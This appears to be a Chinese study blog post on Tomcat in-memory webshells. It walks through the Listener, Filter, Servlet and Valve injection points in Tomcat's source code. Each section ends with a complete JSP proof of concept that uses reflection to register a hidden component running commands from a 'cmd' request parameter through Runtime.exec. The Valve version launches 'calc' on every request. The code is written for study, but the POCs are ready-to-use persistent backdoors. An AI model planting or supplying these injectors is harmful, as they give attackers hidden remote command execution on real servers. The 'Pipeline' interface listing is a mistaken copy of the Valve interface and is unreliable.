Tomcat内存马


Tomcat内存马

前言

描述Servlet3.0后允许动态注册组件

这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。

而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.55</version>
</dependency>

关键在于 JSP->可识别类(恶意类)

所以需要看写在java文件中被系统调用时的堆栈过程,利用jsp技术把这个注册过程写入jsp,在访问jsp之后就会执行这个逻辑以此注入内存马

问题1:
注入内存马之后是访问就会触发动态注册的动作还是注入就自动执行动态注册的动作?访问后生效

Listener型内存马

Servlet有三种监听器:

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

这三种最合适的莫过于ServletRequestListener,只要访问Servlet的任何资源都会触发这个监听器

创建Listener:

package org.example.demo;

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;

@WebListener
public class ServletListener implements ServletRequestListener {
    @Override
    public void requestDestroyed (ServletRequestEvent sre) {
        System.out.println("requestDestroyed");
    }

    @Override
    public void requestInitialized (ServletRequestEvent sre) {
        ServletRequest servletRequest = sre.getServletRequest();
        String cmd = servletRequest.getParameter("cmd");
        if(cmd != null){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    }
}

验证:

image

调用堆栈如下:

requestInitialized:13, Shell_Listener (org.example.demo)
fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1794, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

调用Listener的关键步骤fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)

跟进看函数逻辑:

    public boolean fireRequestInitEvent(ServletRequest request) {
        Object instances[] = getApplicationEventListeners();
        if ((instances != null) && (instances.length > 0)) {
            ServletRequestEvent event =
                    new ServletRequestEvent(getServletContext(), request);
            for (Object instance : instances) {
                if (instance == null) {
                    continue;
                }
                if (!(instance instanceof ServletRequestListener)) {
                    continue;
                }
                ServletRequestListener listener = (ServletRequestListener) instance;
                try {
                    listener.requestInitialized(event);
                } catch (Throwable t) {
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString(
                            "standardContext.requestListener.requestInit",
                            instance.getClass().getName()), t);
                    request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
                    return false;
                }
            }
        }
        return true;
    }

简单分析一下创建监听器的流程:

1.获取当前上下文的所有监听器
2.获取StandardContext上下文
3.创建监听器

image

所以利用jsp技术动态创建监听器也是一样的道理

第一步 添加监听器

首先就是添加监听器,跟进getApplicationEventListeners​函数

image

继续跟进applicationEventListenersList

image

image

发现这个属性就可以直接添加监听器了

跟进:

image

addApplicationEventListener​函数可以添加监听器,那么第一步就解决了

这里注意的就是这个StandardContext​类的,后面jsp的时候获取也是StandardContext​类,但是只有getServletContext​这个方法,所以获取他的父类Context,使用getContext​方法

第二步 获取ServletContext

invoke:116, StandardHostValve (org.apache.catalina.core)​这一步可以发现他获取servlet的方式:

image

恰好jsp也内置了request,所以这里也是可以利用

只需要反射利用Field获取即可

Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requests = (Request) requestField.get(request);

这里回顾的时候有点太久没学反射了,把request.get(obj)和request.get(null)给搞混了

这里有两个例子(返回的结果都是Hello, qingfeng!​),运行一下就能会议起来了

例一[Field.get(null)]
package org.example.demo;

import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws IllegalAccessException {
        MyClass obj = new MyClass();

        // 获取 Class 对象
        Class<?> cls = obj.getClass();

        // 获取字段的值
        try {
            Field field = cls.getDeclaredField("myField"); // "myField" 是字段的名称
            field.setAccessible(true); // 设置为可访问,以便获取或设置私有字段的值

            // 获取字段的值
            Object value = field.get(null);
            System.out.println("字段的值:" + value);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        }
    }
}

class MyClass {
    static String  myField = "Hello, qingfeng!";
}


例二[Field.get(obj)]
package org.example.demo;

import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws IllegalAccessException {
        MyClass obj = new MyClass();

        // 获取 Class 对象
        Class<?> cls = obj.getClass();

        // 获取字段的值
        try {
            Field field = cls.getDeclaredField("myField"); // "myField" 是字段的名称
            field.setAccessible(true); // 设置为可访问,以便获取或设置私有字段的值

            // 获取字段的值
            Object value = field.get(obj);
            System.out.println("字段的值:" + value);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        }
    }
}

class MyClass {
    private String  myField = "Hello, qingfeng!";
}

POC:

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.annotation.WebListener" %>
<%!
    @WebListener
    public class ServletListener implements ServletRequestListener {
        @Override
        public void requestDestroyed (ServletRequestEvent sre) {
            System.out.println("requestDestroyed");
        }

        @Override
        public void requestInitialized (ServletRequestEvent sre) {
            ServletRequest servletRequest = sre.getServletRequest();
            String cmd = servletRequest.getParameter("cmd");
            if(cmd != null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }
%>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request requests = (Request) requestField.get(request);
    StandardContext context = (StandardContext)requests.getContext();
    ServletListener servletListener = new ServletListener();
    context.addApplicationEventListener(servletListener);
%>

Filter型内存马

Filter是链式调用执行的,Filter会在访问不Web资源之前被执行,而且定义Filter时可以根据访问的路径来设置,相对来说更灵活。

首先同理创建一个Java文件写Filter型内存马:

package org.example.demo;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class ServletFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if(cmd != null){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        chain.doFilter(request, response);
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

记得要加chain.doFilter(request, response);​不然后面都被阻塞了

image

在cmd下断点看堆栈情况:

doFilter:17, ServletFilter (org.example.demo)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:481, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1794, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

和Listener同理,我们直接定位关键步骤internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ApplicationFilterConfig filterConfig = filters[pos++];
            try {
                Filter filter = filterConfig.getFilter();

                if (request.isAsyncSupported() && "false".equalsIgnoreCase(
                        filterConfig.getFilterDef().getAsyncSupported())) {
                    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
                }
                if( Globals.IS_SECURITY_ENABLED ) {
                    final ServletRequest req = request;
                    final ServletResponse res = response;
                    Principal principal =
                        ((HttpServletRequest) req).getUserPrincipal();

                    Object[] args = new Object[]{req, res, this};
                    SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
                } else {
                    filter.doFilter(request, response, this);
                }
            } catch (IOException | ServletException | RuntimeException e) {
                throw e;
            } catch (Throwable e) {
                e = ExceptionUtils.unwrapInvocationTargetException(e);
                ExceptionUtils.handleThrowable(e);
                throw new ServletException(sm.getString("filterChain.filter"), e);
            }
            return;
        }

        // We fell off the end of the chain -- call the servlet instance
        try {
            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
                lastServicedRequest.set(request);
                lastServicedResponse.set(response);
            }

            if (request.isAsyncSupported() && !servletSupportsAsync) {
                request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
                        Boolean.FALSE);
            }
            // Use potentially wrapped request from this point
            if ((request instanceof HttpServletRequest) &&
                    (response instanceof HttpServletResponse) &&
                    Globals.IS_SECURITY_ENABLED ) {
                final ServletRequest req = request;
                final ServletResponse res = response;
                Principal principal =
                    ((HttpServletRequest) req).getUserPrincipal();
                Object[] args = new Object[]{req, res};
                SecurityUtil.doAsPrivilege("service",
                                           servlet,
                                           classTypeUsedInService,
                                           args,
                                           principal);
            } else {
                servlet.service(request, response);
            }
        } catch (IOException | ServletException | RuntimeException e) {
            throw e;
        } catch (Throwable e) {
            e = ExceptionUtils.unwrapInvocationTargetException(e);
            ExceptionUtils.handleThrowable(e);
            throw new ServletException(sm.getString("filterChain.servlet"), e);
        } finally {
            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
                lastServicedRequest.set(null);
                lastServicedResponse.set(null);
            }
        }
    }

Filter的流程相对Listener来说更麻烦,StandardContext并没有类似addFilter的方法,上面我们也提到了Filter是链式调用,所以接受的是一个FilterMap,还需要利用FilterMap把我们的恶意类包装起来。

首先找到filters属性的定义看他的类型:

image

需要一个ApplicationFilterConfig类​,往上一步看是如何创建ApplicationFilterConfig类的

image

ApplicationFilterFactory​的createFilterChain​方法创建了ApplicationFilterChain​类,跟进createFilterChain​看一下:

public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {
        // If there is no servlet to execute, return null
        if (servlet \=\= null) {
            return null;
        }
        // Create and initialize a filter chain object
        ApplicationFilterChain filterChain \= null;
        if (request instanceof Request) {
            Request req \= (Request) request;
            if (Globals.IS\_SECURITY\_ENABLED) {
                // Security: Do not recycle
                filterChain \= new ApplicationFilterChain();
            } else {
                filterChain \= (ApplicationFilterChain) req.getFilterChain();
                if (filterChain \=\= null) {
                    filterChain \= new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // Request dispatcher in use
            filterChain \= new ApplicationFilterChain();
        }
        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
        // Acquire the filter mappings for this Context
        StandardContext context \= (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] \= context.findFilterMaps();
        // If there are no filter mappings, we are done
        if ((filterMaps \=\= null) || (filterMaps.length \=\= 0)) {
            return filterChain;
        }
        // Acquire the information we will need to match filter mappings
        DispatcherType dispatcher \=
                (DispatcherType) request.getAttribute(Globals.DISPATCHER\_TYPE\_ATTR);
        String requestPath \= null;
        Object attribute \= request.getAttribute(Globals.DISPATCHER\_REQUEST\_PATH\_ATTR);
        if (attribute !\= null){
            requestPath \= attribute.toString();
        }
        String servletName \= wrapper.getName();
        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersURL(filterMap, requestPath)) {
                continue;
            }
            ApplicationFilterConfig filterConfig \= (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig \=\= null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }
        // Add filters that match on servlet name second
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMap, servletName)) {
                continue;
            }
            ApplicationFilterConfig filterConfig \= (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig \=\= null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }
        // Return the completed filter chain
        return filterChain;
    }

简化一下逻辑就是这样:

1.	filterChain = new ApplicationFilterChain();	创建一个ApplictionFilterChain对象
2.	StandardContext context = (StandardContext) wrapper.getParent();	获取当前进程Context
3.	FilterMap filterMaps[] = context.findFilterMaps();  通过Context获取所有过滤器
4.	ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());	获取filterConfig
5.	filterChain.addFilter(filterConfig); 添加过滤器

一个小知识:一个filterConfig​对应一个filter,但是一个filter可以有多个filterConfig

这里需要了解一下FilterMap和FilterConfig

image

filterMap主要存储的是urlPatterns和filterName这些信息

恰好对应配置的这些标签:

<filter-mapping>
    <filter-name></filter-name>
    <url-pattern></url-pattern>
</filter-mapping>

filterConfig存储的是filterDef,filterDef下有filterClass和filterName这些信息

image

filterDef这两项配置对应的恰好就说注册表里面的配置:

<filter>
    <filter-name></filter-name>
    <filter-class></filter-class>
</filter>

因此构造恶意的Filter就需要注册这些信息才能使得Filter生效

1.	filterChain = new ApplicationFilterChain();	创建一个ApplictionFilterChain对象
2.	StandardContext context = (StandardContext) wrapper.getParent();	获取当前进程Context
3.	FilterMap filterMaps[] = context.findFilterMaps();  通过Context获取所有过滤器
4.	ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());	获取filterConfig
5.	filterChain.addFilter(filterConfig); 添加过滤器

第一步 获取ServletContext

其实第一步是和上面原生的一样创建ApplicationFilterChain对象,但是创建ApplicationFilterChain对象需要反射获取他的Context。所以第一步还是需要从request获取StandardContext

    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request requestImp = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext)requestImp.getContext();

还有另一种获取StandardContext的方式,Tomcat启动会为每个环境创建Session、Cookie等信息,都由StandardContext控制

所以可以利用request.getSession().getServletContext()​获取,但是request.getSession().getServletContext()​只是得到了ApplicationContext,还需要再反射一次才能获取StandardContext,比较麻烦,如下图所示

image

第二步 设置FilterDef

    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("ServletFilter");
    filterDef.setFilterClass(servletFilter.getClass().getName());
    filterDef.setFilter(servletFilter);
    standardContext.addFilterDef(filterDef);

第三步 设置FilterMap

    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(servletFilter.getClass().getName());
    filterMap.addURLPattern("/*");
    filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求
    standardContext.addFilterMap(filterMap);

DispatcherType​ 是一个枚举类型,它定义了 Servlet 中的请求调度器类型。在这里.REQUEST​ 表示该过滤器将被调度处理来自客户端的请求

第四步 包装FilterDef和FilterConfig

    Constructor applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    applicationFilterConfigConstructor.setAccessible(true);
    ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);

    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put("ServletFilter", applicationFilterConfig);

这一步的关键代码看StandardContext的filterStart​方法的16,17,18三行:

public boolean filterStart() {

        if (getLogger().isDebugEnabled()) {
            getLogger().debug("Starting filters");
        }
        // Instantiate and record a FilterConfig for each defined filter
        boolean ok = true;
        synchronized (filterConfigs) {
            filterConfigs.clear();
            for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
                String name = entry.getKey();
                if (getLogger().isDebugEnabled()) {
                    getLogger().debug(" Starting filter '" + name + "'");
                }
                try {
                    ApplicationFilterConfig filterConfig =
                            new ApplicationFilterConfig(this, entry.getValue());
                    filterConfigs.put(name, filterConfig);
                } catch (Throwable t) {
                    t = ExceptionUtils.unwrapInvocationTargetException(t);
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString(
                            "standardContext.filterStart", name), t);
                    ok = false;
                }
            }
        }

        return ok;
    }

POC

<%@ page import="javax.servlet.annotation.WebFilter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Map" %>

<%!
    @WebFilter("/*")
    public class ServletFilter implements Filter {

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            Filter.super.init(filterConfig);
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if(cmd != null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }
            chain.doFilter(request, response);
        }

        @Override
        public void destroy() {
            Filter.super.destroy();
        }
    }
%>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request requestImp = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext)requestImp.getContext();

    ServletFilter servletFilter = new ServletFilter();

    //FilterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("ServletFilter");
    filterDef.setFilterClass(servletFilter.getClass().getName());
    filterDef.setFilter(servletFilter);
    standardContext.addFilterDef(filterDef);

    //FilterMap
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("ServletFilter");
    filterMap.addURLPattern("/*");
    filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求
    standardContext.addFilterMapBefore(filterMap);

    //FilterConfig
    Constructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    applicationFilterConfigConstructor.setAccessible(true);
    ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);

    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put("ServletFilter", applicationFilterConfig);
%>

Servlet型内存马

Servlet是最晚被调用的,调用顺序为Listener->Filter->Servlet

servlet分为四个阶段

1.init(),初始阶段,只被调用一次,也是第一次创建Servlet时被调用
2.service(),服务阶段。处理客户请求,doGet(),doPost()3.doGet(),doPost()处理阶段
4.destory(),销毁阶段

构造一个恶意类

package org.example.demo;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/ServletShell")
public class ServletServlet implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

image

这次查看堆栈信息是看不到创建Servlet的过程的,只能从头开始分析了,下图参考https://blog.csdn.net/u010883443/article/details/107463782的一张图片

image

我们重点关注web.xmlwebConfig解析的下一步,xml赋值对象configureContext,定位org.apache.catalina.startup​的ContextConfig​类的configureContext(WebXml webxml)​方法:

    private void configureContext(WebXml webxml) {
        // As far as possible, process in alphabetical order so it is easy to
        // check everything is present
        // Some validation depends on correct public ID
        //
        /*
        .......
        加载xml文件
            Wrapper wrapper = context.createWrapper();
        */
        //
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            wrapper.setServletClass(servlet.getServletClass());
        /*
        简化代码
        */
            context.addChild(wrapper);
        }
        for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
        SessionConfig sessionConfig = webxml.getSessionConfig();
        if (sessionConfig != null) {
            if (sessionConfig.getSessionTimeout() != null) {
                context.setSessionTimeout(
                        sessionConfig.getSessionTimeout().intValue());
            }
            SessionCookieConfig scc =
                context.getServletContext().getSessionCookieConfig();
            scc.setName(sessionConfig.getCookieName());
            scc.setDomain(sessionConfig.getCookieDomain());
            scc.setPath(sessionConfig.getCookiePath());
            scc.setComment(sessionConfig.getCookieComment());
            if (sessionConfig.getCookieHttpOnly() != null) {
                scc.setHttpOnly(sessionConfig.getCookieHttpOnly().booleanValue());
            }
            if (sessionConfig.getCookieSecure() != null) {
                scc.setSecure(sessionConfig.getCookieSecure().booleanValue());
            }
            if (sessionConfig.getCookieMaxAge() != null) {
                scc.setMaxAge(sessionConfig.getCookieMaxAge().intValue());
            }
            if (sessionConfig.getSessionTrackingModes().size() > 0) {
                context.getServletContext().setSessionTrackingModes(
                        sessionConfig.getSessionTrackingModes());
            }
        }

        // Context doesn't use version directly
        // ....
    }

这里面可以提取出几个关键代码:

Wrapper wrapper = context.createWrapper();
wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());

这个就是注册Servlet的关键流程

写JSP文件注册即可

POC

<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%!
    @WebServlet(name = "ServletServlet", value = "/ServletServlet")
    public class ServletServlet extends HttpServlet {
        @Override
        public void init(ServletConfig config) throws ServletException {

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            Runtime.getRuntime().exec(cmd);
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    }
%>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request requestImp = (Request) requestField.get(request);
    StandardContext context = (StandardContext) requestImp.getContext();

    Wrapper wrapper = context.createWrapper();
    wrapper.setName("ServletServlet");
    wrapper.setServletClass(ServletServlet.class.getName());
    wrapper.setServlet(new ServletServlet());
    context.addChild(wrapper);
    context.addServletMappingDecoded("/ServletServlet", "ServletServlet");
%>

首先要访问这个jsp文件触发构造内存马,之后访问/ServletServlet即可触发:

image

缺点就说必须访问对应的路径,不利于隐藏

valve型内存马

Tomcat有四大组件,分别是Engine​,Host​,Context​,Wrapper​。这四个之间的消息传递与沟通离不开Valve(阀门)​与Pipeline(管道)

Valve的接口如下:

public interface Valve {
    public Valve getNext();
    public void setNext(Valve valve);
    public void backgroundProcess();
    public void invoke(Request request, Response response)
        throws IOException, ServletException;
    public boolean isAsyncSupported();
}

简单点理解就是在Tomcat的调用过程中肯定会调用到Valve.invoke,只要我们实现这个接口并且在Valve构造恶意代码就可以达到RCE的目的

但是需要讲构造的恶意Valve实现类加入到调用链中,这就需要用到Pipeline​,其接口如下:

public interface Valve {
    public Valve getNext();
    public void setNext(Valve valve);
    public void backgroundProcess();
    public void invoke(Request request, Response response)
        throws IOException, ServletException;
    public boolean isAsyncSupported();
}

使用Pipeline​时需要注意两个点

1.pipeline添加恶意类实现RCE
2.调用getNext()使得整条链子不会断,否则虽然可以执行命令但系统会出错

POC

<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>

<%!
    public class ServletValve implements Valve {
        private Valve next;
        @Override
        public Valve getNext() {
            return next;
        }
        @Override
        public void setNext(Valve valve) {
            this.next = valve;
        }
        @Override
        public void backgroundProcess() {
        }
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            try {
                Runtime.getRuntime().exec("calc");
                this.getNext().invoke(request, response);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        @Override
        public boolean isAsyncSupported() {
            return false;
        }
    }
%>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request requestImp = (Request)requestField.get(request);
    StandardContext standardContext = (StandardContext)requestImp.getContext();

    Pipeline pipeline = standardContext.getPipeline();
    pipeline.addValve(new ServletValve());
%>

访问一次后构造内存马,第二次生效

image

参考链接

https://goodapple.top/archives/1355

https://xz.aliyun.com/t/11988

https://blog.csdn.net/u010883443/article/details/107463782

https://www.cnblogs.com/coldridgeValley/p/5816414.html